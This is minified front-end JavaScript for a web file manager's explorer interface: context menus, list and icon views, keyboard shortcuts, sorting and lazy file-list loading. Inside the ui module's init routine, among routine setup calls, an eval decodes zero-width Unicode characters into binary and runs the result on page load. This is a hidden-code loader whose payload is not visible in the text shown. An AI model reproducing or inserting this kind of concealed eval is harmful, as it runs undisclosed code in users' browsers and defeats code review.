').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+' ',className:"info",icon:"info",accesskey:"i"}}})},P=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I ',className:"info",icon:"info",accesskey:"i"}}})},E=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){A(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},D=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,i){var t=i.$trigger;t.hasClass("file")?T(e):A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){A(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"}}},sep3:"--------",info:{name:LNG.info+'Alt+I ',className:"info",icon:"info",accesskey:"i"}}})},A=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,i,t){e&&(rightMenu.hidden(),$(e).contextMenu({x:i,y:t}))},menuShow:function(){var e="hidden",i=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=i.length&&0!=t.length){if(i.find(".disable").addClass("disabled"),t.hasClass("menufile")){var a=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==a?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,a)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==a?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,a)||inArray(core.filetype.music,a)||inArray(core.filetype.movie,a)||inArray(core.filetype.bindary,a)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(t.hasClass("menufolder")||t.hasClass("menufile")||t.hasClass("menuTreeFolder")||t.hasClass("menuTreeFile")){var n="disabled",o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip,.search,.more_action";t.hasClass("file_not_readable")?i.find(s).addClass(n):i.find(s).removeClass(n),t.hasClass("file_not_writeable")?i.find(o).addClass(n):i.find(o).removeClass(n)}if(t.hasClass("dialog_menu")){var r=t.attr("id"),l=$.dialog.list[r];l.has_frame()?(i.find(".open_window").removeClass(e),i.find(".refresh").removeClass(e),i.find(".qrcode").removeClass(e)):(i.find(".open_window").addClass(e),i.find(".refresh").addClass(e),i.find(".qrcode").addClass(e))}if(t.hasClass("menuMore")){var c=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(c+=1)}),0==c?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var i=$(".frame-right-main .tools").outerHeight();"list"==e&&(i+=26),$(".frame-header").is(":visible")&&(i+=$(".frame-header").outerHeight()),$(".bodymain").css("top",i)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,i){0!=e&&(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")),0!=i&&(G.user_config.list_sort_order=i,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+i).addClass("selected")),LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",i),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+i})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var i=LNG.config_save_error_file;core.authCheck("setting:set")||(i=LNG.config_save_error_auth),Tips.tips(i,!1)}}})})},bindEventMenu=function(){$(".drop-menu-action li").bind("click",function(){if(!$(this).hasClass("disabled")){var e=$(this).attr("id");switch(e){case"open":ui.path.open();break;case"copy":ui.path.copy();break;case"rname":ui.path.rname();break;case"cute":ui.path.cute();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"past":ui.path.past();break;case"remove":ui.path.remove();break;case"zip":ui.path.zip();break;case"share":ui.path.share();break;case"createLink":ui.path.createLink(!0);break;case"add_to_fav":ui.path.fav();break;case"download":ui.path.download();break;case"info":ui.path.info();break;default:}}}),$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),i=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/i)},getPagefileNumber=function(){var e=getRowfileNumber(),i=$(Config.BodyContent).outerHeight(),t=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(i/t)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,i=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/i)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,i=0,t="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==i?(i=timeFloat(),t=o,e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a),void 0):o==t.substr(-1)?(ui.path.setSelectByChar(t),i=0,void 0):(a>timeFloat()-i&&(i=timeFloat(),t+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["backspace","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","ctrl+s","command+s"],function(e,i){if("none"!=$("#PicasaView").css("display"))return!0;
+if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;switch(stopPP(e),i){case"backspace":ui.path.history.back();break;case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(i);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"del":ui.path.remove();break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var i=$("#PV_Items li.current img").attr("src"),t="image&path=",a=i.substr(i.search(t)+t.length),n=$('[src="'+i+'"],[data-original="'+i+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var t=function(e){var i="&picture=",t=e.search(i);return-1===t?e+i+UUID():e.substr(0,t)+i+UUID()},a=t(i),o=t($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,i=20,t=parseInt($(".file").css("height")),a=t-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(t+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(t+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=i+(a+o)*c,p=e+(t+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(i){i.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(i){i.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,i){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof i&&i()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,i){var i="down"==i?-1:1;return function(t,a){var t=t[e],a=a[e];return ui.path.pathOperate.strSort(t,a)*i}},mainSetData=function(e){var i=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var t="";$(".systemBox").each(function(){t+=$(this).get(0).outerHTML}),i=t+i}i=htmlListAction(G.json_data,i,!1),"list_split"==G.user_config.list_type&&(i=''),e?$(Config.FileBoxSelector).hide().html(i).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(i),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),i=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var t=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),pageLoadMax>t||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(t/n)*o;return i.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",i=$(e).last(),t=$(".bodymain .fileContinerMore");if(0!=i.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=i.outerWidth()+$sizeInt(i.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=i.outerHeight()+$sizeInt(i.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;t.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),i=e.last(),t=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(t>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=i.outerHeight()+$sizeInt(i.css("margin-bottom")),l=s+o-r;if(l>i.offset().top){var c=l-i.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+t;u>a&&(u=a),u-t>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(t+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(t+1,u)}}},loadMoreSet=function(e,i){var t=makeHtml(G.json_data,e,i),a=$(t);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,i,t){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!t||t>=o.length-1)&&(t=o.length-1);for(var s=i;t>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,i){if("string"==$.type(e))var t=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var t=e;e=ui.fileLight.path(t)}if(1==t.length){var a=t.find(".children_more"),n=t.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;t.addClass("loading_children"),pathGet(e,function(e){t.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof i&&i(e)})}},htmlListAction=function(e,i,t){if(""==i)return i=''+LNG.path_null+"
";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&t?i+=''+'
'+'
'+'
'+'
'+LNG.file_load_all+" "+"
"+"
":"list_split"==G.user_config.list_type&&(i+=''+'
'+'
'+'
'+LNG.file_load_all+"(to list) "+"
"+"
")}return i},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,i){var t=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==t.length)return"function"==typeof i&&i(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof i&&i(),void 0;var n=t.parent().parent();pathSplitCreate(e,i,n)},pathSplitCreate=function(e,i,t){pathGet(e,function(a){if("not_exists"==a.path_read_write)return i(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),t)if(t.nextAll(".split_box").length>0){var o=t.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='',$(n).insertAfter(t).data("jsonData",a);else n='',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof i&&i()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),i=beforeListOpenArr,t=ui.fileLight.path(e,"data-path-children");beforeListOpen[t]=!1;for(var a=[t];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];i[o]!==void 0?i=i[o]:i[o]={}}})}else if("list_split"==G.user_config.list_type){var i=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(i[e]={},i=i[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,i){$.each(e,function(e,t){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(t).length?f5AfterReload(t,i):f5AfterReloadFinished(i)})}),f5AfterReloadFinished(i)},f5AfterReloadFinished=function(e){for(var i in beforeListOpen)if(beforeListOpen[i]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,i,t){if(void 0==e&&(e=!0),void 0==i&&(i=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var i=e.folderlist,t=e.filelist;return i="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?i.sort(sortBy("name",G.user_config.list_sort_order)):i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),t=t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=i,e.filelist=t,e},pathGet=function(e,i,t){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof t&&t(),!1;var a=jsonDataSort(e.data);"function"==typeof i&&i(a)},error:function(e,i,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,i,a),"function"==typeof t&&t()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var i in e)if("filelist"==i||"folderlist"==i)for(var t=0;e[i].length>t;t++){var a=e[i][t];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else 